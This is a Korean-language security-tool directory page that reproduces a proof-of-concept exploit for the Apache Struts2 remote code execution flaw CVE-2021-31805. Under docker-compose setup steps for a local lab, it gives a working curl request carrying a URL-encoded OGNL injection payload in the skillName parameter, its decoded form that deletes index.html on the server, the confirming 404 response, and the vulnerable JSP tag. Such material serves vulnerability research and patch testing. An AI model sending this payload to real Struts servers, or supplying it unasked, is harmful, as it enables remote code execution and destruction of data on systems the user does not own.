Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-31805 — # Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇 Docker 설정 및 curl 기반 익스플로잇 단계를 포함한 Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/aeyesec/cve-2021-31805
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubaeyesec/cve-2021-31805

CVE-2021-31805

# Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇 Docker 설정 및 curl 기반 익스플로잇 단계를 포함한 Apache Struts2 RCE(CVE-2021-31805) 개념 증명 익스플로잇입니다.

저장소 보기
5144년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-31805

CVE-2021-31805(아파치 스트럿츠2)용 PoC CVE-2021-31805 해설 기사에서 사용한 애플리케이션입니다.

설정

root@kitploit:~
$ docker-compose build
$ docker-compose up -d

동작 확인

http://localhost:8080/struts2-showcase-2.5.29/index.html 에 접속하여 Welcome 페이지가 표시되는지 확인합니다.

Exploit

root@kitploit:~
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(생략)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(생략)
URL 디코딩된 값은
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
입니다.

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
index.html 파일이 삭제된 것을 확인할 수 있습니다.

취약한 코드의 예

root@kitploit:~
<li><s:label id="test2" name="%{skillName}"/></li>

참고 정보

  • https://cwiki.apache.org/confluence/display/WW/S2-059
  • https://cwiki.apache.org/confluence/display/WW/S2-061
  • https://cwiki.apache.org/confluence/display/WW/S2-062
  • https://securitylab.github.com/research/apache-struts-double-evaluation/
  • https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
도구 다운로드